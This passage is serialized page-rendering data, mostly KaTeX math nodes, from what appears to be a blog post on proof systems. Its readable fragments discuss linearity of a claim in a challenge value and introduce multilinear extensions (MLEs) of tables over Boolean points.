ag":314,"props":110381,"children":110383},{"className":110382,"style":92785},[3264,20825],[110384],{"type":28,"value":108550},{"type":23,"tag":314,"props":110386,"children":110388},{"className":110387},[3280],[110389],{"type":23,"tag":314,"props":110390,"children":110392},{"className":110391},[3285,20879],[110393,110422],{"type":23,"tag":314,"props":110394,"children":110396},{"className":110395},[3290],[110397,110417],{"type":23,"tag":314,"props":110398,"children":110400},{"className":110399,"style":92828},[3295],[110401],{"type":23,"tag":314,"props":110402,"children":110403},{"style":92832},[110404,110408],{"type":23,"tag":314,"props":110405,"children":110407},{"className":110406,"style":3305},[3304],[],{"type":23,"tag":314,"props":110409,"children":110411},{"className":110410},[3310,3311,3312,3313],[110412],{"type":23,"tag":314,"props":110413,"children":110415},{"className":110414},[3264,20825,3313],[110416],{"type":28,"value":2993},{"type":23,"tag":314,"props":110418,"children":110420},{"className":110419},[20982],[110421],{"type":28,"value":20985},{"type":23,"tag":314,"props":110423,"children":110425},{"className":110424},[3290],[110426],{"type":23,"tag":314,"props":110427,"children":110429},{"className":110428,"style":92382},[3295],[110430],{"type":23,"tag":314,"props":110431,"children":110432},{},[],{"type":23,"tag":314,"props":110434,"children":110436},{"className":110435},[20954],[110437],{"type":28,"value":341},{"type":23,"tag":314,"props":110439,"children":110441},{"className":110440},[3264],[110442,110447],{"type":23,"tag":314,"props":110443,"children":110445},{"className":110444,"style":92299},[3264,20825],[110446],{"type":28,"value":93118},{"type":23,"tag":314,"props":110448,"children":110450},{"className":110449},[3280],[110451],{"type":23,"tag":314,"props":110452,"children":110454},{"className":110453},[3285,20879],[110455,110484],{"type":23,"tag":314,"props":110456,"children":110458},{"className":110457},[3290],[110459,110479],{"type":23,"tag":314,"props":110460,"children":110462},{"className":110461,"style":92828},[3295],[110463],{"type":23,"tag":314,"props":110464,"children":110465},{"style":109298},[110466,110470],{"type":23,"tag":314,"props":110467,"children":110469},{"className":110468,"style":3305},[3304],[],{"type":23,"tag":314,"props":110471,"children":110473},{"className":110472},[3310,3311,3312,3313],[110474],{"type":23,"tag":314,"props":110475,"children":110477},{"className":110476},[3264,20825,3313],[110478],{"type":28,"value":2993},{"type":23,"tag":314,"props":110480,"children":110482},{"className":110481},[20982],[110483],{"type":28,"value":20985},{"type":23,"tag":314,"props":110485,"children":110487},{"className":110486},[3290],[110488],{"type":23,"tag":314,"props":110489,"children":110491},{"className":110490,"style":92382},[3295],[110492],{"type":23,"tag":314,"props":110493,"children":110494},{},[],{"type":23,"tag":314,"props":110496,"children":110498},{"className":110497},[20976],[110499],{"type":28,"value":431},{"type":23,"tag":314,"props":110501,"children":110503},{"className":110502,"style":3442},[3344],[],{"type":23,"tag":314,"props":110505,"children":110507},{"className":110506},[3447],[110508],{"type":28,"value":1102},{"type":23,"tag":314,"props":110510,"children":110512},{"className":110511,"style":3442},[3344],[],{"type":23,"tag":314,"props":110514,"children":110516},{"className":110515},[3253],[110517,110521,110526,110530,110535],{"type":23,"tag":314,"props":110518,"children":110520},{"className":110519,"style":109454},[3258],[],{"type":23,"tag":314,"props":110522,"children":110524},{"className":110523},[3264,20825],[110525],{"type":28,"value":31},{"type":23,"tag":314,"props":110527,"children":110529},{"className":110528,"style":3345},[3344],[],{"type":23,"tag":314,"props":110531,"children":110533},{"className":110532},[3350],[110534],{"type":28,"value":1130},{"type":23,"tag":314,"props":110536,"children":110538},{"className":110537,"style":3345},[3344],[],{"type":23,"tag":314,"props":110540,"children":110542},{"className":110541},[3253],[110543,110547,110552,110556,110562],{"type":23,"tag":314,"props":110544,"children":110546},{"className":110545,"style":92214},[3258],[],{"type":23,"tag":314,"props":110548,"children":110550},{"className":110549},[3264,20825],[110551],{"type":28,"value":2477},{"type":23,"tag":314,"props":110553,"children":110555},{"className":110554,"style":3345},[3344],[],{"type":23,"tag":314,"props":110557,"children":110559},{"className":110558},[3350],[110560],{"type":28,"value":110561},"⋅",{"type":23,"tag":314,"props":110563,"children":110565},{"className":110564,"style":3345},[3344],[],{"type":23,"tag":314,"props":110567,"children":110569},{"className":110568},[3253],[110570,110574,110631,110635,110640],{"type":23,"tag":314,"props":110571,"children":110573},{"className":110572,"style":109269},[3258],[],{"type":23,"tag":314,"props":110575,"children":110577},{"className":110576},[3264],[110578,110583],{"type":23,"tag":314,"props":110579,"children":110581},{"className":110580,"style":92299},[3264,20825],[110582],{"type":28,"value":93118},{"type":23,"tag":314,"props":110584,"children":110586},{"className":110585},[3280],[110587],{"type":23,"tag":314,"props":110588,"children":110590},{"className":110589},[3285,20879],[110591,110620],{"type":23,"tag":314,"props":110592,"children":110594},{"className":110593},[3290],[110595,110615],{"type":23,"tag":314,"props":110596,"children":110598},{"className":110597,"style":92828},[3295],[110599],{"type":23,"tag":314,"props":110600,"children":110601},{"style":109298},[110602,110606],{"type":23,"tag":314,"props":110603,"children":110605},{"className":110604,"style":3305},[3304],[],{"type":23,"tag":314,"props":110607,"children":110609},{"className":110608},[3310,3311,3312,3313],[110610],{"type":23,"tag":314,"props":110611,"children":110613},{"className":110612},[3264,20825,3313],[110614],{"type":28,"value":2993},{"type":23,"tag":314,"props":110616,"children":110618},{"className":110617},[20982],[110619],{"type":28,"value":20985},{"type":23,"tag":314,"props":110621,"children":110623},{"className":110622},[3290],[110624],{"type":23,"tag":314,"props":110625,"children":110627},{"className":110626,"style":92382},[3295],[110628],{"type":23,"tag":314,"props":110629,"children":110630},{},[],{"type":23,"tag":314,"props":110632,"children":110634},{"className":110633,"style":3442},[3344],[],{"type":23,"tag":314,"props":110636,"children":110638},{"className":110637},[3447],[110639],{"type":28,"value":1102},{"type":23,"tag":314,"props":110641,"children":110643},{"className":110642,"style":3442},[3344],[],{"type":23,"tag":314,"props":110645,"children":110647},{"className":110646},[3253],[110648,110652,110657,110661,110666],{"type":23,"tag":314,"props":110649,"children":110651},{"className":110650,"style":109454},[3258],[],{"type":23,"tag":314,"props":110653,"children":110655},{"className":110654},[3264,20825],[110656],{"type":28,"value":31},{"type":23,"tag":314,"props":110658,"children":110660},{"className":110659,"style":3345},[3344],[],{"type":23,"tag":314,"props":110662,"children":110664},{"className":110663},[3350],[110665],{"type":28,"value":1130},{"type":23,"tag":314,"props":110667,"children":110669},{"className":110668,"style":3345},[3344],[],{"type":23,"tag":314,"props":110671,"children":110673},{"className":110672},[3253],[110674,110678,110683,110754,110758,110763],{"type":23,"tag":314,"props":110675,"children":110677},{"className":110676,"style":3365},[3258],[],{"type":23,"tag":314,"props":110679,"children":110681},{"className":110680},[20954],[110682],{"type":28,"value":341},{"type":23,"tag":314,"props":110684,"children":110686},{"className":110685},[3264],[110687,110692],{"type":23,"tag":314,"props":110688,"children":110690},{"className":110689,"style":92533},[3264,20825],[110691],{"type":28,"value":92536},{"type":23,"tag":314,"props":110693,"children":110695},{"className":110694},[3280],[110696],{"type":23,"tag":314,"props":110697,"children":110699},{"className":110698},[3285,20879],[110700,110743],{"type":23,"tag":314,"props":110701,"children":110703},{"className":110702},[3290],[110704,110738],{"type":23,"tag":314,"props":110705,"children":110707},{"className":110706,"style":92828},[3295],[110708],{"type":23,"tag":314,"props":110709,"children":110710},{"style":109728},[110711,110715],{"type":23,"tag":314,"props":110712,"children":110714},{"className":110713,"style":3305},[3304],[],{"type":23,"tag":314,"props":110716,"children":110718},{"className":110717},[3310,3311,3312,3313],[110719],{"type":23,"tag":314,"props":110720,"children":110722},{"className":110721},[3264,3313],[110723,110728,110733],{"type":23,"tag":314,"props":110724,"children":110726},{"className":110725},[3264,20825,3313],[110727],{"type":28,"value":2993},{"type":23,"tag":314,"props":110729,"children":110731},{"className":110730},[3350,3313],[110732],{"type":28,"value":3324},{"type":23,"tag":314,"props":110734,"children":110736},{"className":110735},[3264,3313],[110737],{"type":28,"value":3267},{"type":23,"tag":314,"props":110739,"children":110741},{"className":110740},[20982],[110742],{"type":28,"value":20985},{"type":23,"tag":314,"props":110744,"children":110746},{"className":110745},[3290],[110747],{"type":23,"tag":314,"props":110748,"children":110750},{"className":110749,"style":109769},[3295],[110751],{"type":23,"tag":314,"props":110752,"children":110753},{},[],{"type":23,"tag":314,"props":110755,"children":110757},{"className":110756,"style":3345},[3344],[],{"type":23,"tag":314,"props":110759,"children":110761},{"className":110760},[3350],[110762],{"type":28,"value":3324},{"type":23,"tag":314,"props":110764,"children":110766},{"className":110765,"style":3345},[3344],[],{"type":23,"tag":314,"props":110768,"children":110770},{"className":110769},[3253],[110771,110775,110780,110785,110790,110794,110799],{"type":23,"tag":314,"props":110772,"children":110774},{"className":110773,"style":3365},[3258],[],{"type":23,"tag":314,"props":110776,"children":110778},{"className":110777},[3264],[110779],{"type":28,"value":2378},{"type":23,"tag":314,"props":110781,"children":110783},{"className":110782},[3264,20825],[110784],{"type":28,"value":31},{"type":23,"tag":314,"props":110786,"children":110788},{"className":110787},[20976],[110789],{"type":28,"value":431},{"type":23,"tag":314,"props":110791,"children":110793},{"className":110792,"style":3345},[3344],[],{"type":23,"tag":314,"props":110795,"children":110797},{"className":110796},[3350],[110798],{"type":28,"value":110561},{"type":23,"tag":314,"props":110800,"children":110802},{"className":110801,"style":3345},[3344],[],{"type":23,"tag":314,"props":110804,"children":110806},{"className":110805},[3253],[110807,110811,110868,110872,110877],{"type":23,"tag":314,"props":110808,"children":110810},{"className":110809,"style":109269},[3258],[],{"type":23,"tag":314,"props":110812,"children":110814},{"className":110813},[3264],[110815,110820],{"type":23,"tag":314,"props":110816,"children":110818},{"className":110817,"style":92299},[3264,20825],[110819],{"type":28,"value":93118},{"type":23,"tag":314,"props":110821,"children":110823},{"className":110822},[3280],[110824],{"type":23,"tag":314,"props":110825,"children":110827},{"className":110826},[3285,20879],[110828,110857],{"type":23,"tag":314,"props":110829,"children":110831},{"className":110830},[3290],[110832,110852],{"type":23,"tag":314,"props":110833,"children":110835},{"className":110834,"style":92828},[3295],[110836],{"type":23,"tag":314,"props":110837,"children":110838},{"style":109298},[110839,110843],{"type":23,"tag":314,"props":110840,"children":110842},{"className":110841,"style":3305},[3304],[],{"type":23,"tag":314,"props":110844,"children":110846},{"className":110845},[3310,3311,3312,3313],[110847],{"type":23,"tag":314,"props":110848,"children":110850},{"className":110849},[3264,20825,3313],[110851],{"type":28,"value":2993},{"type":23,"tag":314,"props":110853,"children":110855},{"className":110854},[20982],[110856],{"type":28,"value":20985},{"type":23,"tag":314,"props":110858,"children":110860},{"className":110859},[3290],[110861],{"type":23,"tag":314,"props":110862,"children":110864},{"className":110863,"style":92382},[3295],[110865],{"type":23,"tag":314,"props":110866,"children":110867},{},[],{"type":23,"tag":314,"props":110869,"children":110871},{"className":110870,"style":3442},[3344],[],{"type":23,"tag":314,"props":110873,"children":110875},{"className":110874},[3447],[110876],{"type":28,"value":1102},{"type":23,"tag":314,"props":110878,"children":110880},{"className":110879,"style":3442},[3344],[],{"type":23,"tag":314,"props":110882,"children":110884},{"className":110883},[3253],[110885,110889,110894,110899,110904,110908,110913],{"type":23,"tag":314,"props":110886,"children":110888},{"className":110887,"style":3365},[3258],[],{"type":23,"tag":314,"props":110890,"children":110892},{"className":110891},[3264,20825],[110893],{"type":28,"value":31},{"type":23,"tag":314,"props":110895,"children":110897},{"className":110896},[20954],[110898],{"type":28,"value":341},{"type":23,"tag":314,"props":110900,"children":110902},{"className":110901},[3264],[110903],{"type":28,"value":3267},{"type":23,"tag":314,"props":110905,"children":110907},{"className":110906,"style":3345},[3344],[],{"type":23,"tag":314,"props":110909,"children":110911},{"className":110910},[3350],[110912],{"type":28,"value":3324},{"type":23,"tag":314,"props":110914,"children":110916},{"className":110915,"style":3345},[3344],[],{"type":23,"tag":314,"props":110918,"children":110920},{"className":110919},[3253],[110921,110925,110930,110987,110992,110996,111001],{"type":23,"tag":314,"props":110922,"children":110924},{"className":110923,"style":3365},[3258],[],{"type":23,"tag":314,"props":110926,"children":110928},{"className":110927},[3264],[110929],{"type":28,"value":2378},{"type":23,"tag":314,"props":110931,"children":110933},{"className":110932},[3264],[110934,110939],{"type":23,"tag":314,"props":110935,"children":110937},{"className":110936,"style":92299},[3264,20825],[110938],{"type":28,"value":93118},{"type":23,"tag":314,"props":110940,"children":110942},{"className":110941},[3280],[110943],{"type":23,"tag":314,"props":110944,"children":110946},{"className":110945},[3285,20879],[110947,110976],{"type":23,"tag":314,"props":110948,"children":110950},{"className":110949},[3290],[110951,110971],{"type":23,"tag":314,"props":110952,"children":110954},{"className":110953,"style":92828},[3295],[110955],{"type":23,"tag":314,"props":110956,"children":110957},{"style":109298},[110958,110962],{"type":23,"tag":314,"props":110959,"children":110961},{"className":110960,"style":3305},[3304],[],{"type":23,"tag":314,"props":110963,"children":110965},{"className":110964},[3310,3311,3312,3313],[110966],{"type":23,"tag":314,"props":110967,"children":110969},{"className":110968},[3264,20825,3313],[110970],{"type":28,"value":2993},{"type":23,"tag":314,"props":110972,"children":110974},{"className":110973},[20982],[110975],{"type":28,"value":20985},{"type":23,"tag":314,"props":110977,"children":110979},{"className":110978},[3290],[110980],{"type":23,"tag":314,"props":110981,"children":110983},{"className":110982,"style":92382},[3295],[110984],{"type":23,"tag":314,"props":110985,"children":110986},{},[],{"type":23,"tag":314,"props":110988,"children":110990},{"className":110989},[20976],[110991],{"type":28,"value":431},{"type":23,"tag":314,"props":110993,"children":110995},{"className":110994,"style":3345},[3344],[],{"type":23,"tag":314,"props":110997,"children":110999},{"className":110998},[3350],[111000],{"type":28,"value":1130},{"type":23,"tag":314,"props":111002,"children":111004},{"className":111003,"style":3345},[3344],[],{"type":23,"tag":314,"props":111006,"children":111008},{"className":111007},[3253],[111009,111013,111084,111088,111093],{"type":23,"tag":314,"props":111010,"children":111012},{"className":111011,"style":109699},[3258],[],{"type":23,"tag":314,"props":111014,"children":111016},{"className":111015},[3264],[111017,111022],{"type":23,"tag":314,"props":111018,"children":111020},{"className":111019,"style":92533},[3264,20825],[111021],{"type":28,"value":92536},{"type":23,"tag":314,"props":111023,"children":111025},{"className":111024},[3280],[111026],{"type":23,"tag":314,"props":111027,"children":111029},{"className":111028},[3285,20879],[111030,111073],{"type":23,"tag":314,"props":111031,"children":111033},{"className":111032},[3290],[111034,111068],{"type":23,"tag":314,"props":111035,"children":111037},{"className":111036,"style":92828},[3295],[111038],{"type":23,"tag":314,"props":111039,"children":111040},{"style":109728},[111041,111045],{"type":23,"tag":314,"props":111042,"children":111044},{"className":111043,"style":3305},[3304],[],{"type":23,"tag":314,"props":111046,"children":111048},{"className":111047},[3310,3311,3312,3313],[111049],{"type":23,"tag":314,"props":111050,"children":111052},{"className":111051},[3264,3313],[111053,111058,111063],{"type":23,"tag":314,"props":111054,"children":111056},{"className":111055},[3264,20825,3313],[111057],{"type":28,"value":2993},{"type":23,"tag":314,"props":111059,"children":111061},{"className":111060},[3350,3313],[111062],{"type":28,"value":3324},{"type":23,"tag":314,"props":111064,"children":111066},{"className":111065},[3264,3313],[111067],{"type":28,"value":3267},{"type":23,"tag":314,"props":111069,"children":111071},{"className":111070},[20982],[111072],{"type":28,"value":20985},{"type":23,"tag":314,"props":111074,"children":111076},{"className":111075},[3290],[111077],{"type":23,"tag":314,"props":111078,"children":111080},{"className":111079,"style":109769},[3295],[111081],{"type":23,"tag":314,"props":111082,"children":111083},{},[],{"type":23,"tag":314,"props":111085,"children":111087},{"className":111086,"style":3345},[3344],[],{"type":23,"tag":314,"props":111089,"children":111091},{"className":111090},[3350],[111092],{"type":28,"value":110561},{"type":23,"tag":314,"props":111094,"children":111096},{"className":111095,"style":3345},[3344],[],{"type":23,"tag":314,"props":111098,"children":111100},{"className":111099},[3253],[111101,111105],{"type":23,"tag":314,"props":111102,"children":111104},{"className":111103,"style":109269},[3258],[],{"type":23,"tag":314,"props":111106,"children":111108},{"className":111107},[3264],[111109,111114],{"type":23,"tag":314,"props":111110,"children":111112},{"className":111111,"style":92299},[3264,20825],[111113],{"type":28,"value":93118},{"type":23,"tag":314,"props":111115,"children":111117},{"className":111116},[3280],[111118],{"type":23,"tag":314,"props":111119,"children":111121},{"className":111120},[3285,20879],[111122,111151],{"type":23,"tag":314,"props":111123,"children":111125},{"className":111124},[3290],[111126,111146],{"type":23,"tag":314,"props":111127,"children":111129},{"className":111128,"style":92828},[3295],[111130],{"type":23,"tag":314,"props":111131,"children":111132},{"style":109298},[111133,111137],{"type":23,"tag":314,"props":111134,"children":111136},{"className":111135,"style":3305},[3304],[],{"type":23,"tag":314,"props":111138,"children":111140},{"className":111139},[3310,3311,3312,3313],[111141],{"type":23,"tag":314,"props":111142,"children":111144},{"className":111143},[3264,20825,3313],[111145],{"type":28,"value":2993},{"type":23,"tag":314,"props":111147,"children":111149},{"className":111148},[20982],[111150],{"type":28,"value":20985},{"type":23,"tag":314,"props":111152,"children":111154},{"className":111153},[3290],[111155],{"type":23,"tag":314,"props":111156,"children":111158},{"className":111157,"style":92382},[3295],[111159],{"type":23,"tag":314,"props":111160,"children":111161},{},[],{"type":23,"tag":24,"props":111163,"children":111164},{},[111165,111166,111262,111264,111289,111291,111316],{"type":28,"value":45385},{"type":23,"tag":721,"props":111167,"children":111168},{},[111169,111171],{"type":28,"value":111170},"linear in ",{"type":23,"tag":94,"props":111172,"children":111174},{"className":111173},[3237,3238],[111175],{"type":23,"tag":314,"props":111176,"children":111178},{"className":111177},[3243],[111179],{"type":23,"tag":314,"props":111180,"children":111182},{"className":111181,"ariaHidden":1481},[3248],[111183],{"type":23,"tag":314,"props":111184,"children":111186},{"className":111185},[3253],[111187,111191],{"type":23,"tag":314,"props":111188,"children":111190},{"className":111189,"style":109699},[3258],[],{"type":23,"tag":314,"props":111192,"children":111194},{"className":111193},[3264],[111195,111200],{"type":23,"tag":314,"props":111196,"children":111198},{"className":111197,"style":92533},[3264,20825],[111199],{"type":28,"value":92536},{"type":23,"tag":314,"props":111201,"children":111203},{"className":111202},[3280],[111204],{"type":23,"tag":314,"props":111205,"children":111207},{"className":111206},[3285,20879],[111208,111251],{"type":23,"tag":314,"props":111209,"children":111211},{"className":111210},[3290],[111212,111246],{"type":23,"tag":314,"props":111213,"children":111215},{"className":111214,"style":92828},[3295],[111216],{"type":23,"tag":314,"props":111217,"children":111218},{"style":109728},[111219,111223],{"type":23,"tag":314,"props":111220,"children":111222},{"className":111221,"style":3305},[3304],[],{"type":23,"tag":314,"props":111224,"children":111226},{"className":111225},[3310,3311,3312,3313],[111227],{"type":23,"tag":314,"props":111228,"children":111230},{"className":111229},[3264,3313],[111231,111236,111241],{"type":23,"tag":314,"props":111232,"children":111234},{"className":111233},[3264,20825,3313],[111235],{"type":28,"value":2993},{"type":23,"tag":314,"props":111237,"children":111239},{"className":111238},[3350,3313],[111240],{"type":28,"value":3324},{"type":23,"tag":314,"props":111242,"children":111244},{"className":111243},[3264,3313],[111245],{"type":28,"value":3267},{"type":23,"tag":314,"props":111247,"children":111249},{"className":111248},[20982],[111250],{"type":28,"value":20985},{"type":23,"tag":314,"props":111252,"children":111254},{"className":111253},[3290],[111255],{"type":23,"tag":314,"props":111256,"children":111258},{"className":111257,"style":109769},[3295],[111259],{"type":23,"tag":314,"props":111260,"children":111261},{},[],{"type":28,"value":111263},"! By induction, the final claim is linear in the original ",{"type":23,"tag":94,"props":111265,"children":111267},{"className":111266},[3237,3238],[111268],{"type":23,"tag":314,"props":111269,"children":111271},{"className":111270},[3243],[111272],{"type":23,"tag":314,"props":111273,"children":111275},{"className":111274,"ariaHidden":1481},[3248],[111276],{"type":23,"tag":314,"props":111277,"children":111279},{"className":111278},[3253],[111280,111284],{"type":23,"tag":314,"props":111281,"children":111283},{"className":111282,"style":20820},[3258],[],{"type":23,"tag":314,"props":111285,"children":111287},{"className":111286,"style":92533},[3264,20825],[111288],{"type":28,"value":92536},{"type":28,"value":111290},". If ",{"type":23,"tag":94,"props":111292,"children":111294},{"className":111293},[3237,3238],[111295],{"type":23,"tag":314,"props":111296,"children":111298},{"className":111297},[3243],[111299],{"type":23,"tag":314,"props":111300,"children":111302},{"className":111301,"ariaHidden":1481},[3248],[111303],{"type":23,"tag":314,"props":111304,"children":111306},{"className":111305},[3253],[111307,111311],{"type":23,"tag":314,"props":111308,"children":111310},{"className":111309,"style":20820},[3258],[],{"type":23,"tag":314,"props":111312,"children":111314},{"className":111313,"style":92533},[3264,20825],[111315],{"type":28,"value":92536},{"type":28,"value":111317}," isn't in the transcript, we can solve for it.",{"type":23,"tag":837,"props":111319,"children":111321},{"id":111320},"multilinear-extensions-mles",[111322],{"type":28,"value":111323},"Multilinear Extensions (MLEs)",{"type":23,"tag":24,"props":111325,"children":111326},{},[111327,111329,111414],{"type":28,"value":111328},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":94,"props":111330,"children":111332},{"className":111331},[3237,3238],[111333],{"type":23,"tag":314,"props":111334,"children":111336},{"className":111335},[3243],[111337],{"type":23,"tag":314,"props":111338,"children":111340},{"className":111339,"ariaHidden":1481},[3248],[111341],{"type":23,"tag":314,"props":111342,"children":111344},{"className":111343},[3253],[111345,111349,111354,111359,111364,111368,111373],{"type":23,"tag":314,"props":111346,"children":111348},{"className":111347,"style":3365},[3258],[],{"type":23,"tag":314,"props":111350,"children":111352},{"className":111351},[20954],[111353],{"type":28,"value":75870},{"type":23,"tag":314,"props":111355,"children":111357},{"className":111356},[3264],[111358],{"type":28,"value":1600},{"type":23,"tag":314,"props":111360,"children":111362},{"className":111361},[3376],[111363],{"type":28,"value":3379},{"type":23,"tag":314,"props":111365,"children":111367},{"className":111366,"style":3383},[3344],[],{"type":23,"tag":314,"props":111369,"children":111371},{"className":111370},[3264],[111372],{"type":28,"value":3267},{"type":23,"tag":314,"props":111374,"children":111376},{"className":111375},[20976],[111377,111382],{"type":23,"tag":314,"props":111378,"children":111380},{"className":111379},[20976],[111381],{"type":28,"value":33389},{"type":23,"tag":314,"props":111383,"children":111385},{"className":111384},[3280],[111386],{"type":23,"tag":314,"props":111387,"children":111389},{"className":111388},[3285],[111390],{"type":23,"tag":314,"props":111391,"children":111393},{"className":111392},[3290],[111394],{"type":23,"tag":314,"props":111395,"children":111397},{"className":111396,"style":108016},[3295],[111398],{"type":23,"tag":314,"props":111399,"children":111400},{"style":3299},[111401,111405],{"type":23,"tag":314,"props":111402,"children":111404},{"className":111403,"style":3305},[3304],[],{"type":23,"tag":314,"props":111406,"children":111408},{"className":111407},[3310,3311,3312,3313],[111409],{"type":23,"tag":314,"props":111410,"children":111412},{"className":111411},[3264,20825,3313],[111413],{"type":28,"value":55654},{"type":28,"value":111415},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":24,"props":111417,"children":111418},{},[111419],{"type":28,"value":111420},"For this post, the only property you need is:",{"type":23,"tag":24,"props":111422,"children":111423},{},[111424],{"type":23,"tag":94,"props":111425,"children":111427},{"className":111426},[3237,3238],[111428],{"type":23,"tag":314,"props":111429,"children":111431},{"className":111430},[3243],[111432],{"type":23,"tag":314,"props":111433,"children":111435},{"className":111434,"ariaHidden":1481},[3248],[111436,111598,111870],{"type":23,"tag":314,"props":111437,"children":111439},{"className":111438},[3253],[111440,111445,111514,111519,111580,111585,111589,111594],{"type":23,"tag":314,"props":111441,"children":111444},{"className":111442,"style":111443},[3258],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":314,"props":111446,"children":111449},{"className":111447},[3264,111448],"accent",[111450],{"type":23,"tag":314,"props":111451,"children":111453},{"className":111452},[3285,20879],[111454,111502],{"type":23,"tag":314,"props":111455,"children":111457},{"className":111456},[3290],[111458,111497],{"type":23,"tag":314,"props":111459,"children":111462},{"className":111460,"style":111461},[3295],"height:0.9313em;",[111463,111477],{"type":23,"tag":314,"props":111464,"children":111466},{"style":111465},"top:-3em;",[111467,111472],{"type":23,"tag":314,"props":111468,"children":111471},{"className":111469,"style":111470},[3304],"height:3em;",[],{"type":23,"tag":314,"props":111473,"children":111475},{"className":111474,"style":94653},[3264,20825],[111476],{"type":28,"value":32333},{"type":23,"tag":314,"props":111478,"children":111480},{"style":111479},"top:-3.6134em;",[111481,111485],{"type":23,"tag":314,"props":111482,"children":111484},{"className":111483,"style":111470},[3304],[],{"type":23,"tag":314,"props":111486,"children":111490},{"className":111487,"style":111489},[111488],"accent-body","left:-0.0833em;",[111491],{"type":23,"tag":314,"props":111492,"children":111494},{"className":111493},[3264],[111495],{"type":28,"value":111496},"~",{"type":23,"tag":314,"props":111498,"children":111500},{"className":111499},[20982],[111501],{"type":28,"value":20985},{"type":23,"tag":314,"props":111503,"children":111505},{"className":111504},[3290],[111506],{"type":23,"tag":314,"props":111507,"children":111510},{"className":111508,"style":111509},[3295],"height:0.1944em;",[111511],{"type":23,"tag":314,"props":111512,"children":111513},{},[],{"type":23,"tag":314,"props":111515,"children":111517},{"className":111516},[20954],[111518],{"type":28,"value":341},{"type":23,"tag":314,"props":111520,"children":111522},{"className":111521},[3264,111448],[111523],{"type":23,"tag":314,"props":111524,"children":111526},{"className":111525},[3285],[111527],{"type":23,"tag":314,"props":111528,"children":111530},{"className":111529},[3290],[111531],{"type":23,"tag":314,"props":111532,"children":111535},{"className":111533,"style":111534},[3295],"height:0.714em;",[111536,111548],{"type":23,"tag":314,"props":111537,"children":111538},{"style":111465},[111539,111543],{"type":23,"tag":314,"props":111540,"children":111542},{"className":111541,"style":111470},[3304],[],{"type":23,"tag":314,"props":111544,"children":111546},{"className":111545,"style":92299},[3264,20825],[111547],{"type":28,"value":93118},{"type":23,"tag":314,"props":111549,"children":111550},{"style":111465},[111551,111555],{"type":23,"tag":314,"props":111552,"children":111554},{"className":111553,"style":111470},[3304],[],{"type":23,"tag":314,"props":111556,"children":111559},{"className":111557,"style":111558},[111488],"left:-0.1799em;",[111560],{"type":23,"tag":314,"props":111561,"children":111565},{"className":111562,"style":111564},[111563],"overlay","height:0.714em;width:0.471em;",[111566],{"type":23,"tag":33522,"props":111567,"children":111574},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[111575],{"type":23,"tag":111576,"props":111577,"children":111579},"path",{"d":111578},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":314,"props":111581,"children":111583},{"className":111582},[20976],[111584],{"type":28,"value":431},{"type":23,"tag":314,"props":111586,"children":111588},{"className":111587,"style":3442},[3344],[],{"type":23,"tag":314,"props":111590,"children":111592},{"className":111591},[3447],[111593],{"type":28,"value":1102},{"type":23,"tag":314,"props":111595,"children":111597},{"className":111596,"style":3442},[3344],[],{"type":23,"tag":314,"props":111599,"children":111601},{"className":111600},[3253],[111602,111607,111788,111792,111797,111802,111852,111857,111861,111866],{"type":23,"tag":314,"props":111603,"children":111606},{"className":111604,"style":111605},[3258],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":314,"props":111608,"children":111610},{"className":111609},[20861],[111611,111616],{"type":23,"tag":314,"props":111612,"children":111614},{"className":111613,"style":20868},[20861,20866,20867],[111615],{"type":28,"value":108094},{"type":23,"tag":314,"props":111617,"children":111619},{"className":111618},[3280],[111620],{"type":23,"tag":314,"props":111621,"children":111623},{"className":111622},[3285,20879],[111624,111776],{"type":23,"tag":314,"props":111625,"children":111627},{"className":111626},[3290],[111628,111771],{"type":23,"tag":314,"props":111629,"children":111632},{"className":111630,"style":111631},[3295],"height:0.3448em;",[111633],{"type":23,"tag":314,"props":111634,"children":111636},{"style":111635},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[111637,111641],{"type":23,"tag":314,"props":111638,"children":111640},{"className":111639,"style":3305},[3304],[],{"type":23,"tag":314,"props":111642,"children":111644},{"className":111643},[3310,3311,3312,3313],[111645],{"type":23,"tag":314,"props":111646,"children":111648},{"className":111647},[3264,3313],[111649,111703,111708,111713,111718,111723,111728],{"type":23,"tag":314,"props":111650,"children":111652},{"className":111651},[3264,111448,3313],[111653],{"type":23,"tag":314,"props":111654,"children":111656},{"className":111655},[3285],[111657],{"type":23,"tag":314,"props":111658,"children":111660},{"className":111659},[3290],[111661],{"type":23,"tag":314,"props":111662,"children":111665},{"className":111663,"style":111664},[3295],"height:0.9774em;",[111666,111680],{"type":23,"tag":314,"props":111667,"children":111669},{"style":111668},"top:-2.714em;",[111670,111675],{"type":23,"tag":314,"props":111671,"children":111674},{"className":111672,"style":111673},[3304],"height:2.714em;",[],{"type":23,"tag":314,"props":111676,"children":111678},{"className":111677},[3264,20825,3313],[111679],{"type":28,"value":2477},{"type":23,"tag":314,"props":111681,"children":111683},{"style":111682},"top:-2.9774em;",[111684,111688],{"type":23,"tag":314,"props":111685,"children":111687},{"className":111686,"style":111673},[3304],[],{"type":23,"tag":314,"props":111689,"children":111692},{"className":111690,"style":111691},[111488],"left:-0.2355em;",[111693],{"type":23,"tag":314,"props":111694,"children":111696},{"className":111695,"style":111564},[111563,3313],[111697],{"type":23,"tag":33522,"props":111698,"children":111699},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[111700],{"type":23,"tag":111576,"props":111701,"children":111702},{"d":111578},[],{"type":23,"tag":314,"props":111704,"children":111706},{"className":111705},[3447,3313]